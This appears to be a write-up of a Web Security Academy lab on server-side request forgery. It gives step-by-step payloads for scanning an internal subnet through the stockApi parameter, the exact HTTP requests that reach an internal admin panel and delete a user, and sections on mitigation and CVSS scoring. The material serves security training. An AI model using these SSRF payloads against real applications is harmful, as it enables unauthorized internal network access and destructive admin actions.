

Title of Issue

Server-Side Request Forgery (SSRF) — Access to Internal Back-End Admin Interface via Network Scanning

Description

The application's stock-check endpoint accepts a user-controlled `stockApi` URL parameter and fetches it server-side without validation. Unlike the local server SSRF variant, this lab targets a separate back-end system on the internal network (the `192.168.0.0/24` subnet) that hosts an unauthenticated admin panel on port 8080.

Because the application server has network access to this internal subnet but external users do not, an attacker can use the SSRF vulnerability to scan the internal subnet and identify the internal admin server's IP address. Once found, the admin panel can be accessed and used to delete user accounts.

Affected Endpoint: `POST /product/stock` **Vulnerable Parameter:** `stockApi` **Internal Target:** `http://192.168.0.X:8080/admin`

Steps to Exploit

Phase 1 — Internal Network Scanning

1. Navigate to any product detail page and intercept the `POST /product/stock` request.
2. Use Burp Suite Intruder (or equivalent) to scan all IP addresses in the `192.168.0.0/24` range:
 - Set `stockApi` to: `http://192.168.0.$1$:8080/admin`
 - Payload type: Numbers, 1–255
3. Send all 255 requests and monitor responses:
 - Non-existent host: connection error / timeout or `HTTP 500`
 - Admin panel found: `HTTP 200` with admin panel HTML content
4. Identify the IP that returned HTTP 200 (e.g., `192.168.0.56`).

Phase 2 — Admin Panel Exploitation

5. Send a targeted SSRF request to delete user `carlos` :

```
POST /product/stock HTTP/1.1
Content-Type: application/x-www-form-urlencoded

stockApi=http%3A%2F%2F192.168.0.56%3A8080%2Fadmin%2Fdelete%3Fusername%3Dcarlos
```

6. The internal server processes the delete request and `carlos` is removed.
-

Proof of Concept

Phase 1 — Scanning request (Burp Intruder):

```
POST /product/stock HTTP/1.1
Host: <lab-id>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
```

```
stockApi=http%3A%2F%2F192.168.0.51%3A8080%2Fadmin
```

Intruder results:

IP	Status	Length	Finding
192.168.0.1–55	500	Short	No admin panel
192.168.0.56	200	Long	Admin panel found
192.168.0.57–255	500	Short	No admin panel

Phase 2 — Delete carlos:

```
POST /product/stock HTTP/1.1
Host: <lab-id>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded

stockApi=http%3A%2F%2F192.168.0.56%3A8080%2Fadmin%2Fdelete%3Fusername%3Dcarlos
```

Response: HTTP 200 — carlos deleted from the internal admin panel.

Why this works: The internal back-end system (192.168.0.56:8080) is only accessible from within the internal network. The application server is on the same network, so when it fetches the attacker-supplied URL, it successfully connects to the internal admin panel — bypassing all perimeter security controls.

Impact

- Complete enumeration of internal network topology via the vulnerable application server.
- Unauthenticated access to internal administrative interfaces not reachable from the internet.
- Ability to perform privileged administrative actions (user management, data deletion, configuration) on internal systems.
- Can be extended to scan all ports on all discovered hosts, identifying further attack surfaces.
- Enables pivoting into the internal network via additional vulnerabilities discovered during scanning.

Mitigation / Remediation

1. **Allowlist permitted backend URLs** — only allow the application to contact pre-approved, hardcoded internal service hostnames. Reject all user-supplied URLs entirely.
2. **Implement network segmentation** — the application server should not have direct network access to admin interfaces; administrative networks should be isolated.
3. **Require authentication on internal admin panels** — even internal services must not rely solely on network isolation for security.
4. **Block outbound requests to private IP ranges** at the firewall level (10.x, 172.16.x, 192.168.x, 169.254.x, 127.x).
5. **Monitor for anomalous outbound HTTP request patterns** — rapid sequential requests to incrementing IPs are a strong SSRF scanning indicator.

CVSS Score

CVSS v3.1 Score: 9.1 (Critical) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CVSS Justification

Metric	Value	Rationale
Attack Vector	Network	Exploitable remotely via HTTP
Attack Complexity	Low	Subnet scan requires no special conditions
Privileges Required	None	Stock check endpoint is unauthenticated
User Interaction	None	Fully automated exploitation
Scope	Unchanged	Impact within the application and internal network
Confidentiality Impact	High	Internal network topology and admin data exposed
Integrity Impact	High	Internal admin actions can be triggered
Availability Impact	None	No direct denial of service in this scenario